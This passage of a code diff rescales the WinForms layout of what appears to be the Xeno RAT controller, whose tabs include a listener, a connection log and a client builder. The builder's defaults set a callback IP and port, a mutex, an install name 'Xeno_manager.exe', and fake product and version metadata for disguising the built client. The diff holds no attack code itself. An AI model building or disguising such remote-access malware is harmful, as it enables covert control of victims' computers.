"📜Logs"; this.tabPage1.UseVisualStyleBackColor = true; @@ -234,9 +239,10 @@ private void InitializeComponent() this.listView3.FullRowSelect = true; this.listView3.GridLines = true; this.listView3.HideSelection = false; - this.listView3.Location = new System.Drawing.Point(4, 0); + this.listView3.Location = new System.Drawing.Point(6, 0); + this.listView3.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.listView3.Name = "listView3"; - this.listView3.Size = new System.Drawing.Size(1128, 540); + this.listView3.Size = new System.Drawing.Size(1690, 829); this.listView3.TabIndex = 0; this.listView3.UseCompatibleStateImageBehavior = false; this.listView3.View = System.Windows.Forms.View.Details; @@ -257,10 +263,9 @@ private void InitializeComponent() // this.tabPage3.Controls.Add(this.listView4); this.tabPage3.Location = new System.Drawing.Point(4, 34); - this.tabPage3.Margin = new System.Windows.Forms.Padding(2); this.tabPage3.Name = "tabPage3"; - this.tabPage3.Padding = new System.Windows.Forms.Padding(2); - this.tabPage3.Size = new System.Drawing.Size(1132, 543); + this.tabPage3.Padding = new System.Windows.Forms.Padding(3); + this.tabPage3.Size = new System.Drawing.Size(1703, 856); this.tabPage3.TabIndex = 5; this.tabPage3.Text = "💡 On connect"; this.tabPage3.UseVisualStyleBackColor = true; @@ -272,8 +277,9 @@ private void InitializeComponent() this.listView4.GridLines = true; this.listView4.HideSelection = false; this.listView4.Location = new System.Drawing.Point(0, 0); + this.listView4.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.listView4.Name = "listView4"; - this.listView4.Size = new System.Drawing.Size(1132, 543); + this.listView4.Size = new System.Drawing.Size(1696, 833); this.listView4.TabIndex = 0; this.listView4.UseCompatibleStateImageBehavior = false; this.listView4.View = System.Windows.Forms.View.Details; @@ -286,6 +292,7 @@ private void InitializeComponent() // // tabPage4 // + this.tabPage4.Controls.Add(this.checkBox4); this.tabPage4.Controls.Add(this.listView1); this.tabPage4.Controls.Add(this.label2); this.tabPage4.Controls.Add(this.button1); @@ -295,13 +302,27 @@ private void InitializeComponent() this.tabPage4.Controls.Add(this.label17); this.tabPage4.Controls.Add(this.textBox1); this.tabPage4.Location = new System.Drawing.Point(4, 34); + this.tabPage4.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage4.Name = "tabPage4"; - this.tabPage4.Padding = new System.Windows.Forms.Padding(3); - this.tabPage4.Size = new System.Drawing.Size(1132, 543); + this.tabPage4.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); + this.tabPage4.Size = new System.Drawing.Size(1703, 856); this.tabPage4.TabIndex = 1; this.tabPage4.Text = "🔌 Listener"; this.tabPage4.UseVisualStyleBackColor = true; // + // checkBox4 + // + this.checkBox4.AutoSize = true; + this.checkBox4.Checked = true; + this.checkBox4.CheckState = System.Windows.Forms.CheckState.Checked; + this.checkBox4.Location = new System.Drawing.Point(942, 285); + this.checkBox4.Name = "checkBox4"; + this.checkBox4.Size = new System.Drawing.Size(219, 29); + this.checkBox4.TabIndex = 9; + this.checkBox4.Text = "Log crashing Errors"; + this.checkBox4.UseVisualStyleBackColor = true; + this.checkBox4.CheckedChanged += new System.EventHandler(this.checkBox4_CheckedChanged); + // // listView1 // this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { @@ -310,10 +331,11 @@ private void InitializeComponent() this.listView1.FullRowSelect = true; this.listView1.GridLines = true; this.listView1.HideSelection = false; - this.listView1.Location = new System.Drawing.Point(13, 82); + this.listView1.Location = new System.Drawing.Point(20, 126); + this.listView1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.listView1.MultiSelect = false; this.listView1.Name = "listView1"; - this.listView1.Size = new System.Drawing.Size(162, 449); + this.listView1.Size = new System.Drawing.Size(241, 689); this.listView1.TabIndex = 1; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; @@ -323,7 +345,8 @@ private void InitializeComponent() // this.label2.AutoSize = true; this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(240, 51); + this.label2.Location = new System.Drawing.Point(360, 78); + this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(119, 31); this.label2.TabIndex = 8; @@ -332,9 +355,10 @@ private void InitializeComponent() // button1 // this.button1.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.Location = new System.Drawing.Point(236, 149); + this.button1.Location = new System.Drawing.Point(354, 229); + this.button1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(88, 41); + this.button1.Size = new System.Drawing.Size(132, 63); this.button1.TabIndex = 3; this.button1.Text = "Add"; this.button1.UseVisualStyleBackColor = true; @@ -343,10 +367,9 @@ private void InitializeComponent() // button5 // this.button5.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button5.Location = new System.Drawing.Point(236, 324); - this.button5.Margin = new System.Windows.Forms.Padding(2); + this.button5.Location = new System.Drawing.Point(354, 498); this.button5.Name = "button5"; - this.button5.Size = new System.Drawing.Size(98, 41); + this.button5.Size = new System.Drawing.Size(147, 63); this.button5.TabIndex = 7; this.button5.Text = "Set Password"; this.button5.UseVisualStyleBackColor = true; @@ -356,7 +379,8 @@ private void InitializeComponent() // this.label1.AutoSize = true; this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.Location = new System.Drawing.Point(7, 37); + this.label1.Location = new System.Drawing.Point(10, 57); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(185, 31); this.label1.TabIndex = 2; @@ -365,10 +389,9 @@ private void InitializeComponent() // textBox5 // this.textBox5.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox5.Location = new System.Drawing.Point(236, 260); - this.textBox5.Margin = new System.Windows.Forms.Padding(2); + this.textBox5.Location = new System.Drawing.Point(354, 400); this.textBox5.Name = "textBox5"; - this.textBox5.Size = new System.Drawing.Size(305, 38); + this.textBox5.Size = new System.Drawing.Size(456, 38); this.textBox5.TabIndex = 6; this.textBox5.Text = "password here"; // @@ -376,8 +399,7 @@ private void InitializeComponent() // this.label17.AutoSize = true; this.label17.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label17.Location = new System.Drawing.Point(240, 216); - this.label17.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label17.Location = new System.Drawing.Point(360, 332); this.label17.Name = "label17"; this.label17.Size = new System.Drawing.Size(307, 31); this.label17.TabIndex = 5; @@ -386,9 +408,10 @@ private void InitializeComponent() // textBox1 // this.textBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox1.Location = new System.Drawing.Point(234, 105); + this.textBox1.Location = new System.Drawing.Point(351, 162); + this.textBox1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(307, 38); + this.textBox1.Size = new System.Drawing.Size(458, 38); this.textBox1.TabIndex = 0; // // tabPage7 @@ -430,9 +453,10 @@ private void InitializeComponent() this.tabPage7.Controls.Add(this.label5); this.tabPage7.Controls.Add(this.label6); this.tabPage7.Location = new System.Drawing.Point(4, 34); + this.tabPage7.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage7.Name = "tabPage7"; - this.tabPage7.Padding = new System.Windows.Forms.Padding(3); - this.tabPage7.Size = new System.Drawing.Size(1132, 543); + this.tabPage7.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); + this.tabPage7.Size = new System.Drawing.Size(1703, 856); this.tabPage7.TabIndex = 2; this.tabPage7.Text = "🛠 Builder"; this.tabPage7.UseVisualStyleBackColor = true; @@ -441,7 +465,8 @@ private void InitializeComponent() // this.label19.AutoSize = true; this.label19.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label19.Location = new System.Drawing.Point(263, 275); + this.label19.Location = new System.Drawing.Point(394, 423); + this.label19.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label19.Name = "label19"; this.label19.Size = new System.Drawing.Size(121, 24); this.label19.TabIndex = 72; @@ -450,16 +475,18 @@ private void InitializeComponent() // textBox16 // this.textBox16.Enabled = false; - this.textBox16.Location = new System.Drawing.Point(266, 309); + this.textBox16.Location = new System.Drawing.Point(399, 475); + this.textBox16.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox16.Name = "textBox16"; - this.textBox16.Size = new System.Drawing.Size(120, 31); + this.textBox16.Size = new System.Drawing.Size(178, 31); this.textBox16.TabIndex = 71; // // label18 // this.label18.AutoSize = true; this.label18.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label18.Location = new System.Drawing.Point(131, 259); + this.label18.Location = new System.Drawing.Point(196, 398); + this.label18.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label18.Name = "label18"; this.label18.Size = new System.Drawing.Size(126, 24); this.label18.TabIndex = 70; @@ -468,7 +495,8 @@ private void InitializeComponent() // checkBox3 // this.checkBox3.AutoSize = true; - this.checkBox3.Location = new System.Drawing.Point(135, 321); + this.checkBox3.Location = new System.Drawing.Point(202, 494); + this.checkBox3.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.checkBox3.Name = "checkBox3"; this.checkBox3.Size = new System.Drawing.Size(85, 29); this.checkBox3.TabIndex = 69; @@ -479,7 +507,8 @@ private void InitializeComponent() // checkBox2 // this.checkBox2.AutoSize = true; - this.checkBox2.Location = new System.Drawing.Point(135, 286); + this.checkBox2.Location = new System.Drawing.Point(202, 440); + this.checkBox2.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.checkBox2.Name = "checkBox2"; this.checkBox2.Size = new System.Drawing.Size(111, 29); this.checkBox2.TabIndex = 68; @@ -491,7 +520,8 @@ private void InitializeComponent() // this.checkBox1.AutoSize = true; this.checkBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.checkBox1.Location = new System.Drawing.Point(266, 221); + this.checkBox1.Location = new System.Drawing.Point(399, 340); + this.checkBox1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.checkBox1.Name = "checkBox1"; this.checkBox1.Size = new System.Drawing.Size(121, 35); this.checkBox1.TabIndex = 67; @@ -502,9 +532,10 @@ private void InitializeComponent() // button2 // this.button2.Font = new System.Drawing.Font("Microsoft Sans Serif", 26.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button2.Location = new System.Drawing.Point(148, 446); + this.button2.Location = new System.Drawing.Point(222, 686); + this.button2.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.button2.Name = "button2"; - this.button2.Size = new System.Drawing.Size(204, 66); + this.button2.Size = new System.Drawing.Size(306, 102); this.button2.TabIndex = 38; this.button2.Text = "Build"; this.button2.UseVisualStyleBackColor = true; @@ -513,9 +544,10 @@ private void InitializeComponent() // button4 // this.button4.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button4.Location = new System.Drawing.Point(567, 361); + this.button4.Location = new System.Drawing.Point(850, 555); + this.button4.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.button4.Name = "button4"; - this.button4.Size = new System.Drawing.Size(142, 28); + this.button4.Size = new System.Drawing.Size(213, 43); this.button4.TabIndex = 66; this.button4.Text = "Remove icon"; this.button4.UseVisualStyleBackColor = true; @@ -524,9 +556,10 @@ private void InitializeComponent() // textBox2 // this.textBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox2.Location = new System.Drawing.Point(135, 218); + this.textBox2.Location = new System.Drawing.Point(202, 335); + this.textBox2.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox2.Name = "textBox2"; - this.textBox2.Size = new System.Drawing.Size(110, 38); + this.textBox2.Size = new System.Drawing.Size(163, 38); this.textBox2.TabIndex = 37; this.textBox2.Text = "5000"; // @@ -537,7 +570,8 @@ private void InitializeComponent() | System.Windows.Forms.AnchorStyles.Right))); this.label16.AutoSize = true; this.label16.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label16.Location = new System.Drawing.Point(735, 365); + this.label16.Location = new System.Drawing.Point(1102, 562); + this.label16.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label16.Name = "label16"; this.label16.Size = new System.Drawing.Size(155, 24); this.label16.TabIndex = 65; @@ -546,9 +580,10 @@ private void InitializeComponent() // textBox6 // this.textBox6.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox6.Location = new System.Drawing.Point(500, 53); + this.textBox6.Location = new System.Drawing.Point(750, 82); + this.textBox6.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox6.Name = "textBox6"; - this.textBox6.Size = new System.Drawing.Size(209, 38); + this.textBox6.Size = new System.Drawing.Size(312, 38); this.textBox6.TabIndex = 39; this.textBox6.Text = "Xeno-manager"; // @@ -556,7 +591,8 @@ private void InitializeComponent() // this.label15.AutoSize = true; this.label15.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label15.Location = new System.Drawing.Point(496, 94); + this.label15.Location = new System.Drawing.Point(744, 145); + this.label15.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label15.Name = "label15"; this.label15.Size = new System.Drawing.Size(111, 24); this.label15.TabIndex = 64; @@ -565,9 +601,10 @@ private void InitializeComponent() // textBox7 // this.textBox7.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox7.Location = new System.Drawing.Point(735, 303); + this.textBox7.Location = new System.Drawing.Point(1102, 466); + this.textBox7.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox7.Name = "textBox7"; - this.textBox7.Size = new System.Drawing.Size(245, 38); + this.textBox7.Size = new System.Drawing.Size(366, 38); this.textBox7.TabIndex = 40; this.textBox7.Text = "Client"; // @@ -575,7 +612,8 @@ private void InitializeComponent() // this.label14.AutoSize = true; this.label14.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label14.Location = new System.Drawing.Point(498, 190); + this.label14.Location = new System.Drawing.Point(747, 292); + this.label14.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label14.Name = "label14"; this.label14.Size = new System.Drawing.Size(145, 24); this.label14.TabIndex = 63; @@ -584,9 +622,10 @@ private void InitializeComponent() // textBox8 // this.textBox8.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox8.Location = new System.Drawing.Point(735, 53); + this.textBox8.Location = new System.Drawing.Point(1102, 82); + this.textBox8.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox8.Name = "textBox8"; - this.textBox8.Size = new System.Drawing.Size(245, 38); + this.textBox8.Size = new System.Drawing.Size(366, 38); this.textBox8.TabIndex = 41; this.textBox8.Text = "Xeno"; this.textBox8.TextChanged += new System.EventHandler(this.textBox8_TextChanged); @@ -595,7 +634,8 @@ private void InitializeComponent() // this.label13.AutoSize = true; this.label13.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label13.Location = new System.Drawing.Point(731, 185); + this.label13.Location = new System.Drawing.Point(1096, 285); + this.label13.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label13.Name = "label13"; this.label13.Size = new System.Drawing.Size(159, 24); this.label13.TabIndex = 62; @@ -604,9 +644,10 @@ private void InitializeComponent() // textBox9 // this.textBox9.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox9.Location = new System.Drawing.Point(735, 134); + this.textBox9.Location = new System.Drawing.Point(1102, 206); + this.textBox9.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox9.Name = "textBox9"; - this.textBox9.Size = new System.Drawing.Size(245, 38); + this.textBox9.Size = new System.Drawing.Size(366, 38); this.textBox9.TabIndex = 42; this.textBox9.Text = "Copyright © 2023"; // @@ -614,7 +655,8 @@ private void InitializeComponent() // this.label12.AutoSize = true; this.label12.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label12.Location = new System.Drawing.Point(498, 270); + this.label12.Location = new System.Drawing.Point(747, 415); + this.label12.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label12.Name = "label12"; this.label12.Size = new System.Drawing.Size(101, 24); this.label12.TabIndex = 61; @@ -623,9 +665,10 @@ private void InitializeComponent() // textBox10 // this.textBox10.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox10.Location = new System.Drawing.Point(502, 303); + this.textBox10.Location = new System.Drawing.Point(753, 466); + this.textBox10.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox10.Name = "textBox10"; - this.textBox10.Size = new System.Drawing.Size(209, 38); + this.textBox10.Size = new System.Drawing.Size(312, 38); this.textBox10.TabIndex = 43; this.textBox10.Text = "Xeno"; // @@ -633,7 +676,8 @@ private void InitializeComponent() // this.label11.AutoSize = true; this.label11.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label11.Location = new System.Drawing.Point(731, 106); + this.label11.Location = new System.Drawing.Point(1096, 163); + this.label11.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(90, 24); this.label11.TabIndex = 60; @@ -642,9 +686,10 @@ private void InitializeComponent() // textBox11 // this.textBox11.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox11.Location = new System.Drawing.Point(735, 218); + this.textBox11.Location = new System.Drawing.Point(1102, 335); + this.textBox11.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox11.Name = "textBox11"; - this.textBox11.Size = new System.Drawing.Size(245, 38); + this.textBox11.Size = new System.Drawing.Size(366, 38); this.textBox11.TabIndex = 44; this.textBox11.Text = "Xeno_manager.exe"; // @@ -652,7 +697,8 @@ private void InitializeComponent() // this.label10.AutoSize = true; this.label10.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label10.Location = new System.Drawing.Point(731, 14); + this.label10.Location = new System.Drawing.Point(1096, 22); + this.label10.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(147, 24); this.label10.TabIndex = 59; @@ -662,9 +708,10 @@ private void InitializeComponent() // button3 // this.button3.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button3.Location = new System.Drawing.Point(500, 361); + this.button3.Location = new System.Drawing.Point(750, 555); + this.button3.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.button3.Name = "button3"; - this.button3.Size = new System.Drawing.Size(55, 28); + this.button3.Size = new System.Drawing.Size(82, 43); this.button3.TabIndex = 45; this.button3.Text = "Icon"; this.button3.UseVisualStyleBackColor = true; @@ -674,7 +721,8 @@ private void InitializeComponent() // this.label9.AutoSize = true; this.label9.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.Location = new System.Drawing.Point(731, 275); + this.label9.Location = new System.Drawing.Point(1096, 423); + this.label9.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(104, 24); this.label9.TabIndex = 58; @@ -683,9 +731,10 @@ private void InitializeComponent() // textBox12 // this.textBox12.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox12.Location = new System.Drawing.Point(135, 386); + this.textBox12.Location = new System.Drawing.Point(202, 594); + this.textBox12.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox12.Name = "textBox12"; - this.textBox12.Size = new System.Drawing.Size(252, 38); + this.textBox12.Size = new System.Drawing.Size(376, 38); this.textBox12.TabIndex = 46; this.textBox12.Text = "127.0.0.1"; // @@ -693,7 +742,8 @@ private void InitializeComponent() // this.label8.AutoSize = true; this.label8.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.Location = new System.Drawing.Point(496, 14); + this.label8.Location = new System.Drawing.Point(744, 22); + this.label8.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(131, 24); this.label8.TabIndex = 57; @@ -702,36 +752,40 @@ private void InitializeComponent() // textBox13 // this.textBox13.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox13.Location = new System.Drawing.Point(135, 139); + this.textBox13.Location = new System.Drawing.Point(202, 214); + this.textBox13.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox13.Name = "textBox13"; - this.textBox13.Size = new System.Drawing.Size(110, 38); + this.textBox13.Size = new System.Drawing.Size(163, 38); this.textBox13.TabIndex = 47; this.textBox13.Text = "4444"; // // textBox4 // this.textBox4.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox4.Location = new System.Drawing.Point(500, 134); + this.textBox4.Location = new System.Drawing.Point(750, 206); + this.textBox4.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox4.Name = "textBox4"; - this.textBox4.Size = new System.Drawing.Size(209, 38); + this.textBox4.Size = new System.Drawing.Size(312, 38); this.textBox4.TabIndex = 56; this.textBox4.Text = "3.2.1"; // // textBox14 // this.textBox14.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox14.Location = new System.Drawing.Point(277, 139); + this.textBox14.Location = new System.Drawing.Point(416, 214); + this.textBox14.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox14.Name = "textBox14"; - this.textBox14.Size = new System.Drawing.Size(110, 38); + this.textBox14.Size = new System.Drawing.Size(163, 38); this.textBox14.TabIndex = 48; this.textBox14.Text = "1234"; // // textBox3 // this.textBox3.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox3.Location = new System.Drawing.Point(501, 218); + this.textBox3.Location = new System.Drawing.Point(752, 335); + this.textBox3.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox3.Name = "textBox3"; - this.textBox3.Size = new System.Drawing.Size(209, 38); + this.textBox3.Size = new System.Drawing.Size(312, 38); this.textBox3.TabIndex = 55; this.textBox3.Text = "1.2.3"; // @@ -739,7 +793,8 @@ private void InitializeComponent() // this.label3.AutoSize = true; this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(144, 358); + this.label3.Location = new System.Drawing.Point(216, 551); + this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(26, 24); this.label3.TabIndex = 49; @@ -749,7 +804,8 @@ private void InitializeComponent() // this.label7.AutoSize = true; this.label7.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.Location = new System.Drawing.Point(144, 191); + this.label7.Location = new System.Drawing.Point(216, 294); + this.label7.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(99, 24); this.label7.TabIndex = 54; @@ -759,7 +815,8 @@ private void InitializeComponent() // this.label4.AutoSize = true; this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.Location = new System.Drawing.Point(154, 106); + this.label4.Location = new System.Drawing.Point(231, 163); + this.label4.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(43, 24); this.label4.TabIndex = 50; @@ -768,9 +825,10 @@ private void InitializeComponent() // textBox15 // this.textBox15.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox15.Location = new System.Drawing.Point(135, 53); + this.textBox15.Location = new System.Drawing.Point(202, 82); + this.textBox15.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.textBox15.Name = "textBox15"; - this.textBox15.Size = new System.Drawing.Size(251, 38); + this.textBox15.Size = new System.Drawing.Size(374, 38); this.textBox15.TabIndex = 53; this.textBox15.Text = "Xeno_rat_nd8912d"; // @@ -778,7 +836,8 @@ private void InitializeComponent() // this.label5.AutoSize = true; this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.Location = new System.Drawing.Point(282, 106); + this.label5.Location = new System.Drawing.Point(423, 163); + this.label5.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(92, 24); this.label5.TabIndex = 51; @@ -788,7 +847,8 @@ private void InitializeComponent() // this.label6.AutoSize = true; this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.Location = new System.Drawing.Point(144, 14); + this.label6.Location = new System.Drawing.Point(216, 22); + this.label6.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(62, 24); this.label6.TabIndex = 52; @@ -798,9 +858,10 @@ private void InitializeComponent() // this.tabPage8.Controls.Add(this.richTextBox1); this.tabPage8.Location = new System.Drawing.Point(4, 34); + this.tabPage8.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage8.Name = "tabPage8"; - this.tabPage8.Padding = new System.Windows.Forms.Padding(3); - this.tabPage8.Size = new System.Drawing.Size(1132, 543); + this.tabPage8.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); + this.tabPage8.Size = new System.Drawing.Size(1703, 856); this.tabPage8.TabIndex = 3; this.tabPage8.Text = "👤 About"; this.tabPage8.UseVisualStyleBackColor = true; @@ -809,20 +870,22 @@ private void InitializeComponent() // this.richTextBox1.Enabled = false; this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.richTextBox1.Location = new System.Drawing.Point(3, 3); + this.richTextBox1.Location = new System.Drawing.Point(4, 5); + this.richTextBox1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.richTextBox1.Name = "richTextBox1"; - this.richTextBox1.Size = new System.Drawing.Size(1129, 552); + this.richTextBox1.Size = new System.Drawing.Size(1692, 847); this.richTextBox1.TabIndex = 0; this.richTextBox1.Text = 